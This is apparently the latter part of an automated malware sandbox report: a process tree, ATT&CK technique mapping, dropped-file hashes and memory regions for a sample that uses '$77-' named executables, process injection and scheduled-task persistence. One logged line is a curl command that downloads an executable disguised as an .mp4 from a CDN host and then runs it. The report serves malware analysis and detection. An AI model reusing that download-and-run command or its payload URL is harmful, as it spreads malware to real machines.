                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4012
                                                                                                  • C:\Windows\SysWOW64\curl.exe
                                                                                                    curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                                                                                    5⤵
                                                                                                      PID:3024
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3308
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3580
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:3764
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                  • Suspicious use of UnmapMainImage
                                                                                                  PID:3956
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:3680
                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:4668
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                      1⤵
                                                                                                        PID:4460
                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                        1⤵
                                                                                                          PID:4772
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                          1⤵
                                                                                                            PID:3448
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                            1⤵
                                                                                                              PID:4584
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                              1⤵
                                                                                                                PID:2376
                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                1⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:1208
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:4228
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                                                                                                  1⤵
                                                                                                                    PID:2428
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
                                                                                                                    1⤵
                                                                                                                      PID:960
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=125.0.6422.142 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=125.0.2535.92 --initial-client-data=0x23c,0x240,0x244,0x238,0x278,0x7ff8e8c64ef8,0x7ff8e8c64f04,0x7ff8e8c64f10
                                                                                                                        2⤵
                                                                                                                          PID:876
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=1856,i,1236064252342462940,13180713657498721890,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:3
                                                                                                                          2⤵
                                                                                                                            PID:3520
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4076,i,1236064252342462940,13180713657498721890,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:8
                                                                                                                            2⤵
                                                                                                                              PID:2452
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:540
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                              1⤵
                                                                                                                                PID:2540
                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:3328
                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                  1⤵
                                                                                                                                  • Modifies registry class
                                                                                                                                  PID:2200
                                                                                                                                • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                  C:\Windows\System32\WaaSMedicAgent.exe 2877e7c55662f32e32467c2e7d8ec9b7 oE01LZjUjkqCD7UaWbb2aw.0.1.0.0.0
                                                                                                                                  1⤵
                                                                                                                                    PID:3928
                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                      2⤵
                                                                                                                                        PID:3964
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                      1⤵
                                                                                                                                        PID:4260
                                                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                        1⤵
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:4312
                                                                                                                                      • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                        C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                        1⤵
                                                                                                                                          PID:3560
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                          1⤵
                                                                                                                                            PID:4404
                                                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                            1⤵
                                                                                                                                            • Checks processor information in registry
                                                                                                                                            • Enumerates system info in registry
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            PID:4024
                                                                                                                                          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                                            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                                            1⤵
                                                                                                                                            • Drops file in Windows directory
                                                                                                                                            PID:2796
                                                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                            1⤵
                                                                                                                                              PID:5700
                                                                                                                                            • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                              1⤵
                                                                                                                                                PID:4676
                                                                                                                                              • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                1⤵
                                                                                                                                                  PID:5464
                                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3556

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                                  Execution

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  Persistence

                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                  1
                                                                                                                                                  T1547

                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                  1
                                                                                                                                                  T1547.001

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  Privilege Escalation

                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                  1
                                                                                                                                                  T1547

                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                  1
                                                                                                                                                  T1547.001

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  Defense Evasion

                                                                                                                                                  Modify Registry

                                                                                                                                                  1
                                                                                                                                                  T1112

                                                                                                                                                  Discovery

                                                                                                                                                  Query Registry

                                                                                                                                                  7
                                                                                                                                                  T1012

                                                                                                                                                  System Information Discovery

                                                                                                                                                  6
                                                                                                                                                  T1082

                                                                                                                                                  Peripheral Device Discovery

                                                                                                                                                  1
                                                                                                                                                  T1120

                                                                                                                                                  Command and Control

                                                                                                                                                  Web Service

                                                                                                                                                  1
                                                                                                                                                  T1102

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                                                                                                    Filesize

                                                                                                                                                    328B

                                                                                                                                                    MD5

                                                                                                                                                    eed4fa17b3c704d235e8668d0c904582

                                                                                                                                                    SHA1

                                                                                                                                                    2be758751612e586c9d3ee812eb27d56d74f8f58

                                                                                                                                                    SHA256

                                                                                                                                                    417f60cf49fdca7b0ee29cad1fd7e5e0e389806cbe385f2f6b23db5b583f4ab6

                                                                                                                                                    SHA512

                                                                                                                                                    85115433afbe92fcc6587702f236fbadd940d79df869433e52b022beeab86ffa69b4d31b6efad2959ab507118cdba6ac928448f9148e462e8149c5fd131181f6

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77-aachost.exe.log
                                                                                                                                                    Filesize

                                                                                                                                                    425B

                                                                                                                                                    MD5

                                                                                                                                                    fff5cbccb6b31b40f834b8f4778a779a

                                                                                                                                                    SHA1

                                                                                                                                                    899ed0377e89f1ed434cfeecc5bc0163ebdf0454

                                                                                                                                                    SHA256

                                                                                                                                                    b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

                                                                                                                                                    SHA512

                                                                                                                                                    1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77-scchost.exe.log
                                                                                                                                                    Filesize

                                                                                                                                                    654B

                                                                                                                                                    MD5

                                                                                                                                                    2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                                                    SHA1

                                                                                                                                                    684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                                                    SHA256

                                                                                                                                                    e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                                                    SHA512

                                                                                                                                                    1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Dropper.exe.log
                                                                                                                                                    Filesize

                                                                                                                                                    425B

                                                                                                                                                    MD5

                                                                                                                                                    4eaca4566b22b01cd3bc115b9b0b2196

                                                                                                                                                    SHA1

                                                                                                                                                    e743e0792c19f71740416e7b3c061d9f1336bf94

                                                                                                                                                    SHA256

                                                                                                                                                    34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

                                                                                                                                                    SHA512

                                                                                                                                                    bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                    Filesize

                                                                                                                                                    48KB

                                                                                                                                                    MD5

                                                                                                                                                    8a0e175c5afc07d138b489ddff548b45

                                                                                                                                                    SHA1

                                                                                                                                                    277e649ded7b5a71f5538db64dd9e209cce7ccc3

                                                                                                                                                    SHA256

                                                                                                                                                    0833f808fbc2f10e47c4b0c8613f4ec1f3c70333c3712833001137b6ccc58658

                                                                                                                                                    SHA512

                                                                                                                                                    047b0a92a9f79ce7a26e092a3b35724ed459ba62acba0bbf712da78fcec3ac207d81b55f76602aeee1b7973f8b6ab03b3899e2ff331aa689869bbd18db5a1e31

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                                                                                                    Filesize

                                                                                                                                                    328B

                                                                                                                                                    MD5

                                                                                                                                                    ce4451933789742ff130611614ccef2a

                                                                                                                                                    SHA1

                                                                                                                                                    e6455c9713680975fd2266c0dca5f5ae0c983a09

                                                                                                                                                    SHA256

                                                                                                                                                    0335eb79ba77dc415c22cc92d13a8e330e64774daed1962f29c7431201a0d798

                                                                                                                                                    SHA512

                                                                                                                                                    0ec1b45e30cef33a08dacb7628bf9ad8cfad7bff0f174682ab0a34da72bdc0a14e3f47ddbf3d49cd57711c09f11db214792642888cc093b070d50c8b88bf8e7c

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
                                                                                                                                                    Filesize

                                                                                                                                                    330B

                                                                                                                                                    MD5

                                                                                                                                                    8f93b4ef5f5b32fa85515e79401f4ac3

                                                                                                                                                    SHA1

                                                                                                                                                    9e9f17eda422e67b46778bd1f60486e25624032b

                                                                                                                                                    SHA256

                                                                                                                                                    1735e6ad99b9cfa238e93c7e887e4e01b7930ab18b46a38e4a581d0455053749

                                                                                                                                                    SHA512

                                                                                                                                                    94595c32391988b2e7c477b349beddd476fb673bc200b3e9b140a0289d7bad8b2c8addfb54612741decaa1a61f9a41de4fe881680ccd280d6e5757a1493d9fe7

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                                                                                                                                    Filesize

                                                                                                                                                    66KB

                                                                                                                                                    MD5

                                                                                                                                                    514d0abd73e992c2a1622795b33f17f4

                                                                                                                                                    SHA1

                                                                                                                                                    96740e82d7a119d808000783507bd92690584fe6

                                                                                                                                                    SHA256

                                                                                                                                                    b333ecc39a213f6ce650dd4af50d2d201ee6f80dea63ec98132220670469bf53

                                                                                                                                                    SHA512

                                                                                                                                                    4600baecf44a9cbc7b33fd02d1807628597c6ecc87aeb12b653f6e3a46c951fe9cd789e100d96df8c57b5d0446397c8a639f0c7ee8ef9395c172598ce8185bc8

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    163KB

                                                                                                                                                    MD5

                                                                                                                                                    1a7d1b5d24ba30c4d3d5502295ab5e89

                                                                                                                                                    SHA1

                                                                                                                                                    2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                                                                                                                                    SHA256

                                                                                                                                                    b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                                                                                                                                    SHA512

                                                                                                                                                    859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                                                                                                                                    Filesize

                                                                                                                                                    256KB

                                                                                                                                                    MD5

                                                                                                                                                    18f497deffe88b6b2cff336a277aface

                                                                                                                                                    SHA1

                                                                                                                                                    4e1413241d3d3e4dbff399d179f8fd64f3ecd39e

                                                                                                                                                    SHA256

                                                                                                                                                    8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5

                                                                                                                                                    SHA512

                                                                                                                                                    35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                                                                                                                                    Filesize

                                                                                                                                                    299KB

                                                                                                                                                    MD5

                                                                                                                                                    12d2d1f43b0ecf5a949adde54b1ffb65

                                                                                                                                                    SHA1

                                                                                                                                                    ad0529bc9102210f3616c7b626c37d6454d44033

                                                                                                                                                    SHA256

                                                                                                                                                    619b345f6803d45bcf20305efb3407a8ae26ba0aaffe38e7b5f31cb8c26101ef

                                                                                                                                                    SHA512

                                                                                                                                                    0a55fc91d0bc7e3123b16b012c70c15f731c3be1f8499c733cc994fcec43d8cdf6279e0b9eedda35035423c8891e076be374c512d6506d81e1f81802af25153f

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\tmpF731.tmp.bat
                                                                                                                                                    Filesize

                                                                                                                                                    155B

                                                                                                                                                    MD5

                                                                                                                                                    35ec1f9a7b0a1550c40ba30070f80fe5

                                                                                                                                                    SHA1

                                                                                                                                                    3fc9f0cdf32e05178bb79c276f36b0f9905f1c68

                                                                                                                                                    SHA256

                                                                                                                                                    792ea20527199ea7a41aeaef0c1c7fdcedc86bcd859cf339e11dc44ef0c52404

                                                                                                                                                    SHA512

                                                                                                                                                    a3bc448c7504711713c13b303be86c27ed1077abf455a7eaed0a253cc426f5cfbb02e38bf8923958ba1671a07bc80a84a011234fd97e0ab8e19a7975d30b2da1

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                                    SHA1

                                                                                                                                                    98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                                    SHA256

                                                                                                                                                    ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                                    SHA512

                                                                                                                                                    c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    f313c5b4f95605026428425586317353

                                                                                                                                                    SHA1

                                                                                                                                                    06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                                    SHA256

                                                                                                                                                    129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                                    SHA512

                                                                                                                                                    b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                                    SHA1

                                                                                                                                                    a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                                    SHA256

                                                                                                                                                    98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                                    SHA512

                                                                                                                                                    1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                                    SHA1

                                                                                                                                                    63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                                    SHA256

                                                                                                                                                    727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                                    SHA512

                                                                                                                                                    f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                                    SHA1

                                                                                                                                                    5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                                    SHA256

                                                                                                                                                    55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                                    SHA512

                                                                                                                                                    5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                                    SHA1

                                                                                                                                                    9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                                    SHA256

                                                                                                                                                    a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                                    SHA512

                                                                                                                                                    c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                                  • C:\Windows\TEMP\tmp1577.tmp.bat
                                                                                                                                                    Filesize

                                                                                                                                                    163B

                                                                                                                                                    MD5

                                                                                                                                                    2ea3e7425dee8b579c3761ce6746e9b4

                                                                                                                                                    SHA1

                                                                                                                                                    9a70affb0fa8148fb388f98fe78697f7852ad8e1

                                                                                                                                                    SHA256

                                                                                                                                                    cb3a9f12a4372fae79d4b57a6e5032fdda027c8b986668bf363ff5a9b7c2dd3d

                                                                                                                                                    SHA512

                                                                                                                                                    0a20111b8f9bed57f45ed752c7d2e667baa660231cd492a9cfd7f8bcd03836ff99554b7eaa03f32a865dc7655833cb29dcf7f9576053f1a39b84409b870cbf79

                                                                                                                                                  • C:\Windows\Temp\__PSScriptPolicyTest_i5w5yh0f.qcv.ps1
                                                                                                                                                    Filesize

                                                                                                                                                    60B

                                                                                                                                                    MD5

                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                    SHA1

                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                    SHA256

                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                    SHA512

                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                  • memory/316-103-0x00000268EF250000-0x00000268EF27B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/316-97-0x00000268EF250000-0x00000268EF27B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/316-104-0x00007FF8CF750000-0x00007FF8CF760000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/468-35-0x00000000747D0000-0x000000007487B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    684KB

                                                                                                                                                  • memory/468-4-0x00000000747D0000-0x000000007487B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    684KB

                                                                                                                                                  • memory/512-108-0x0000017FA5570000-0x0000017FA559B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/612-62-0x000002CBE2DE0000-0x000002CBE2E05000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    148KB

                                                                                                                                                  • memory/612-70-0x000002CBE2E10000-0x000002CBE2E3B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/612-64-0x000002CBE2E10000-0x000002CBE2E3B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/612-63-0x000002CBE2E10000-0x000002CBE2E3B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/612-71-0x00007FF8CF750000-0x00007FF8CF760000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/672-82-0x00007FF8CF750000-0x00007FF8CF760000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/672-81-0x000002E06D230000-0x000002E06D25B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/672-75-0x000002E06D230000-0x000002E06D25B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/860-12-0x0000000000CB0000-0x0000000000D02000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    328KB

                                                                                                                                                  • memory/948-93-0x00007FF8CF750000-0x00007FF8CF760000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/948-92-0x00000208DED00000-0x00000208DED2B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/948-86-0x00000208DED00000-0x00000208DED2B000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    172KB

                                                                                                                                                  • memory/1804-8-0x00000000001B0000-0x00000000001C6000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    88KB

                                                                                                                                                  • memory/2836-0-0x000000007480E000-0x000000007480F000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/2836-1-0x0000000000FD0000-0x0000000000FDA000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    40KB

                                                                                                                                                  • memory/2856-46-0x0000020D7EE20000-0x0000020D7EE4A000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/2856-45-0x0000020D7EBB0000-0x0000020D7EBD2000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2856-48-0x00007FF90F5C0000-0x00007FF90F67E000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    760KB

                                                                                                                                                  • memory/2856-47-0x00007FF90F6D0000-0x00007FF90F8C5000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/3048-16-0x0000000000C60000-0x0000000000CA6000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    280KB

                                                                                                                                                  • memory/3048-17-0x0000000001560000-0x0000000001566000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    24KB

